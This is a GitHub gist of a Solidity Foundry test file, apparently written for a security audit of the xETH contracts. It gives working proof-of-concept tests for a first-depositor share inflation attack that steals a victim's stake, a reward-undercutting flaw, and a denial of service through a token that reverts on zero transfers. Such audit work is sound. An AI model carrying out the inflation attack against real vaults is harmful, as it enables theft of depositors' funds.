-
-
Save romeroadrian/475d1f809301c5a0ccf2e6e9bec85472 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "@openzeppelin-contracts/token/ERC20/IERC20.sol"; | |
import {ICurveFactory} from "src/interfaces/ICurveFactory.sol"; | |
import {xETH as xETHToken} from "src/xETH.sol"; | |
import {xETH_AMO} from "src/AMO2.sol"; | |
import {ICurvePool} from "src/interfaces/ICurvePool.sol"; | |
import {ICVXBooster} from "src/interfaces/ICVXBooster.sol"; | |
import {MockCVXStaker} from "./mocks/MockCVXStaker.sol"; | |
import {WrappedXETH} from "src/wxETH.sol"; | |
import {MockErc20} from "./mocks/MockERC20.sol"; | |
import {CVXStaker} from "src/CVXStaker.sol"; | |
contract RevertOnZeroErc20 is MockErc20 { | |
constructor( | |
string memory name_, | |
string memory symbol_, | |
uint8 tokenDecimals | |
) MockErc20(name_, symbol_, tokenDecimals) { | |
} | |
function transfer(address to, uint256 amount) public override returns (bool) { | |
require(amount > 0, "cannot transfer zero amount"); | |
return super.transfer(to, amount); | |
} | |
} | |
contract MockCVXRewards { | |
function getReward( | |
address _account, | |
bool _claimExtras | |
) external returns (bool) { | |
return true; | |
} | |
} | |
contract AuditTest is Test { | |
string MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); | |
ICurveFactory constant factory = ICurveFactory(0xB9fC157394Af804a3578134A6585C0dc9cc990d4); | |
address deployer; | |
address alice; | |
address bob; | |
address charlie; | |
xETHToken xETH; | |
MockErc20 stETH; | |
WrappedXETH wxETH; | |
ICurvePool curvePool; | |
function setUp() public { | |
vm.createSelectFork(MAINNET_RPC_URL, 17200000); | |
deployer = makeAddr("deployer"); | |
alice = makeAddr("alice"); | |
bob = makeAddr("bob"); | |
charlie = makeAddr("charlie"); | |
vm.startPrank(deployer); | |
xETH = new xETHToken(); | |
stETH = new MockErc20("Staked Ether", "StETH", 18); | |
wxETH = new WrappedXETH(address(xETH)); | |
// curvePool = ICurvePool(deployPool()); | |
vm.label(address(xETH), "xETH"); | |
vm.label(address(stETH), "stETH"); | |
vm.label(address(wxETH), "wxETH"); | |
vm.stopPrank(); | |
} | |
function deployPool() internal returns (address pool) { | |
address[4] memory coins; | |
coins[0] = address(xETH); | |
coins[1] = address(stETH); | |
pool = factory.deploy_plain_pool( | |
"XETH-stETH Pool", | |
"XETH/stETH", | |
coins, | |
200, // A | |
4000000, // Fee | |
3, // asset type 1 = ETH, 3 = Other | |
1 // implementation index = balances | |
); | |
vm.label(pool, "curve_pool"); | |
} | |
function test_wxETH_InflationAttack() public { | |
// Alice will stake, Bob will play the attacker role | |
uint256 depositAmount = 1e18; | |
deal(address(xETH), alice, depositAmount); | |
deal(address(xETH), bob, depositAmount + 1); | |
// Bob frontruns Alice initial stake | |
vm.startPrank(bob); | |
xETH.approve(address(wxETH), type(uint256).max); | |
// He first stakes 1 wei to have 1 share | |
wxETH.stake(1); | |
assertEq(wxETH.balanceOf(bob), 1); | |
// He then donates depositAmount+1 to the contract | |
xETH.transfer(address(wxETH), depositAmount); | |
vm.stopPrank(); | |
// Now comes Alice stake | |
vm.startPrank(alice); | |
xETH.approve(address(wxETH), type(uint256).max); | |
wxETH.stake(depositAmount); | |
// Alice will have 0 shares | |
assertEq(wxETH.balanceOf(alice), 0); | |
vm.stopPrank(); | |
// Now Bob unstakes his share to steal everything | |
vm.prank(bob); | |
wxETH.unstake(1); | |
assertEq(xETH.balanceOf(bob), depositAmount * 2 + 1); | |
} | |
function test_wxETH_UndercutRewards() public { | |
uint256 aliceAmount = 1e18; | |
uint256 deployerAmount = 100e18; | |
deal(address(xETH), alice, aliceAmount); | |
deal(address(xETH), deployer, deployerAmount); | |
// Deployer setups drip with 1e18 drip per block and locks 3e18 tokens | |
vm.startPrank(deployer); | |
xETH.approve(address(wxETH), type(uint256).max); | |
wxETH.setDripRate(1e18); | |
wxETH.addLockedFunds(3e18); | |
wxETH.startDrip(); | |
vm.stopPrank(); | |
// Alice stakes her xETH | |
vm.startPrank(alice); | |
xETH.approve(address(wxETH), type(uint256).max); | |
wxETH.stake(aliceAmount); | |
vm.stopPrank(); | |
// Simulate 5 blocks ellapse | |
vm.roll(block.number + 5); | |
// Now deployers decides to refill contract | |
vm.prank(deployer); | |
wxETH.addLockedFunds(10e18); | |
vm.startPrank(alice); | |
// Alice decides to unstake | |
wxETH.unstake(wxETH.balanceOf(alice)); | |
// Even though funds were available to distribute rewards for 5 blocks she only gets her initial deposit | |
// plus the 3e18 from only 3 blocks | |
assertEq(xETH.balanceOf(alice), 1e18 + 3e18); | |
// This also disables the dripping! | |
assertFalse(wxETH.dripEnabled()); | |
vm.stopPrank(); | |
} | |
function test_CVXStaker_RevertOnZeroTokenTransfer() public { | |
MockErc20 token1 = new MockErc20("Token1", "TOK1", 18); | |
MockErc20 token2 = new RevertOnZeroErc20("Token2", "TOK2", 18); | |
MockCVXRewards rewards = new MockCVXRewards(); | |
address operator = makeAddr("operator"); | |
IERC20 clpToken = IERC20(makeAddr("clpToken")); | |
ICVXBooster booster = ICVXBooster(makeAddr("booster")); | |
address[] memory rewardTokens = new address[](2); | |
rewardTokens[0] = address(token1); | |
rewardTokens[1] = address(token2); | |
CVXStaker staker = new CVXStaker(operator, clpToken, booster, rewardTokens); | |
staker.setCvxPoolInfo(0, address(clpToken), address(rewards)); | |
address rewardsRecipient = makeAddr("rewardsRecipient"); | |
staker.setRewardsRecipient(rewardsRecipient); | |
// simulate staker has some token1 but zero token2 after calling getRewards | |
deal(address(token1), address(staker), 1e18); | |
// The transaction will fail as the implementation will try to transfer zero | |
// tokens for token2, blocking the whole operation. | |
vm.expectRevert("cannot transfer zero amount"); | |
staker.getReward(true); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment